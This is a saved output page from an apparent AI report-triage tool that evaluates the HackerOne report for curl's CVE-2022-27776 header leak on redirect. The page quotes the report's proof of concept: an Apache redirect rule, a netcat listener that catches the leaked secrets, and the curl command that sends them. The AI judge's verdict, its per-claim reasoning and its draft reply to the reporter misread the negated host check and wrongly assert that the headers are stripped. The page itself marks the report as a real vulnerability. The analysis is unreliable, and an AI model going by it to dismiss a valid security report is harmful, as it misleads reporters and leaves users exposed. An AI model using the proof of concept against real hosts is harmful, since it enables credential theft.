✓ProveIt
Examples / Report #1547048 Saved analysis

CVE-2022-27776: Auth/cookie leak on redirect

curl · 2022-04-2136.6s analysis · $0.031 in model calls

What the report claims

Curl can be coaxed to leak Authorization and Cookie headers by redirecting request to http:// URL on the same host.

Compare with curl's recorded outcome

Known vulnerability

A real vulnerability: CVE-2022-27776 Auth/cookie leak on redirect

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Code contradicts the claim

The code provides evidence against the report's central claim. Review the cited lines before deciding.

Why this finding?
  • The code at lib/http.c:1904-1911 strips Authorization and Cookie headers on redirect when the host name (conn->host.name) matches the original host (data->state.first_host), using a case-insensitive comparison that ignores protocol and port.
  • A redirect from https://hostname.tld to http://hostname.tld:9999 has the same host name, so the condition !strcasecompare(first_host, conn->host.name) evaluates to true, causing the headers to be skipped (not sent).
  • The report claims the opposite—that headers are leaked in this scenario—but the provided code contradicts this.
  • The comment 'be careful of sending this potentially sensitive header to other hosts' suggests the intent was to strip headers for different hosts, but the implemented logic strips for same host. This is a logic inversion bug, but it is not the vulnerability the report describes.
How this analysis ran 5 claims · 4 citations verified

Checked against curl master on 2022-04-21 (94ac2ca7754f). Test evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding
grounded
no model · 2 references checked out, 0 did not
2 · Claims
NVIDIA-Nemotron-3-Nano-30B-A3B
5 claims · 1467 tokens · $0.0002
3 · Evidence
1 code snippets
real curl source at 94ac2ca7754f · 2 docs via Tavily
4 · Judgment
Nemotron-3-Ultra-550b-a55b
12923 tokens · 34.9s · $0.0306
5 · Receipts
4 of 5 citations verified
every citation must point at code the judge was shown
Review a draft reply to the reporter

Edit and verify before sending.

Thank you for the report. The code at lib/http.c:1904-1911 shows that Authorization and Cookie headers are stripped when following a redirect to the same host name (case-insensitive match via strcasecompare), regardless of protocol or port change. In your scenario (https://hostname.tld → http://hostname.tld:9999), the host name matches, so the headers would not be sent. Could you verify against the exact revision (94ac2ca7754f) or provide a debug trace showing the headers being sent? The logic appears inverted relative to the comment (it strips for same host instead of different host), but that would cause a different behavior than the leak you describe.

Inspect all claims and source code 5 claims · 1 code excerpts

Report claims

C1flaw contradicted

curl leaks Authorization and Cookie headers when following a redirect to a different protocol or port

Read the reasoning

The code explicitly checks only the host name via strcasecompare. When the host name is the same, the condition evaluates to true and the headers are stripped (the trailing ';' does nothing). The report claims the opposite—that headers are leaked in this scenario—but the provided code shows they are stripped.

C2location supported

The bug is located in lib/http.c at line 1904

Read the reasoning

The cited location correctly contains the relevant header-filtering logic for Authorization and Cookie headers on redirect.

C3trigger contradicted

An attacker can trigger the leak by causing a request with Authorization or Cookie headers to be redirected to an http:// URL on the same host

Read the reasoning

The trigger described (redirect to http:// URL on same host) would cause the host-name comparison to succeed, leading to the headers being stripped per the code at lines 1904-1911.

C4impact contradicted

The confidential headers are sent over insecure HTTP to the specified port, exposing them to the attacker

Read the reasoning

The impact claim depends on the leak occurring; the code shows the leak does not occur for same-host-name redirects.

C5reproduction supported

The report provides steps to reproduce using Apache2 mod_rewrite redirect and netcat listener on port 9999

Read the reasoning

The report does provide the described reproduction steps; this claim is factual about the report itself.

lib/http.c:0
Read the original report

Full report on HackerOne ↗

## Summary: Curl can be coaxed to leak Authorisation / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host). ## Steps To Reproduce: 1. Configure for example Apache2 to perform redirect with mod_rewrite: ``` RewriteCond %{HTTP_USER_AGENT} "^curl/" RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L] ``` ... the attacker could also use `.htpasswd` file to do so. 2. Set up netcat to listen for the incoming secrets: `while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done` 3. `curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc` The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port: ``` GET / HTTP/1.1 Host: hostname.tld:9999 User-Agent: curl/7.83.0-DEV Accept: */* Authorization: secrettoken Cookie: secretcookie ``` The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server. This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers. This bug appears to be here: https://github.com/curl/curl/blob/master/lib/http.c#L1904 ## Impact Leak of Authorisation and/or Cookie headers.

Source code

lib/http.clines 1879–1929 · lines 1904-1904 cited by the report
1879 header as that will produce *two* in the same request! */
1880 checkprefix("Host:", compare))
1881 ;
1882 else if(data->state.httpreq == HTTPREQ_POST_FORM &&
1883 /* this header (extended by formdata.c) is sent later */
1884 checkprefix("Content-Type:", compare))
1885 ;
1886 else if(data->state.httpreq == HTTPREQ_POST_MIME &&
1887 /* this header is sent later */
1888 checkprefix("Content-Type:", compare))
1889 ;
1890 else if(conn->bits.authneg &&
1891 /* while doing auth neg, don't allow the custom length since
1892 we will force length zero then */
1893 checkprefix("Content-Length:", compare))
1894 ;
1895 else if(data->state.aptr.te &&
1896 /* when asking for Transfer-Encoding, don't pass on a custom
1897 Connection: */
1898 checkprefix("Connection:", compare))
1899 ;
1900 else if((conn->httpversion >= 20) &&
1901 checkprefix("Transfer-Encoding:", compare))
1902 /* HTTP/2 doesn't support chunked requests */
1903 ;
1904 else if((checkprefix("Authorization:", compare) ||
C1: The condition at lines 1904-1911 strips Authorization/Cookie headers on redirect when data->state.this_is_a_follow is true, first_host exists, allow_auth_to_other_hosts is false, and first_host matches conn->host.name (case-insensitive). This match is based solely on host name; protocol and port are not compared. A redirect to the same host name (e.g., https://hostname.tld → http://hostname.tld:9999) satisfies the condition, causing the headers to be skipped (not sent).
C2: The Authorization/Cookie header handling logic is at lines 1904-1912 in the provided source.
C4: Since the headers are stripped when the host name matches (lines 1904-1911), they are not sent over the insecure HTTP connection in the reported scenario.
1905 checkprefix("Cookie:", compare)) &&
1906 /* be careful of sending this potentially sensitive header to
1907 other hosts */
1908 (data->state.this_is_a_follow &&
C3: The condition requires data->state.this_is_a_follow (redirect) and data->state.first_host (original host) and !strcasecompare(first_host, conn->host.name) (host name match). In the reported scenario (same host name, different protocol/port), the host name matches, so the condition is true and the headers are not sent.
1909 data->state.first_host &&
1910 !data->set.allow_auth_to_other_hosts &&
1911 !strcasecompare(data->state.first_host, conn->host.name)))
1912 ;
1913 else {
1914#ifdef USE_HYPER
1915 result = Curl_hyper_header(data, req, compare);
1916#else
1917 result = Curl_dyn_addf(req, "%s\r\n", compare);
1918#endif
1919 }
1920 if(semicolonp)
1921 free(semicolonp);
1922 if(result)
1923 return result;
1924 }
1925 }
1926 headers = headers->next;
1927 }
1928 }
1929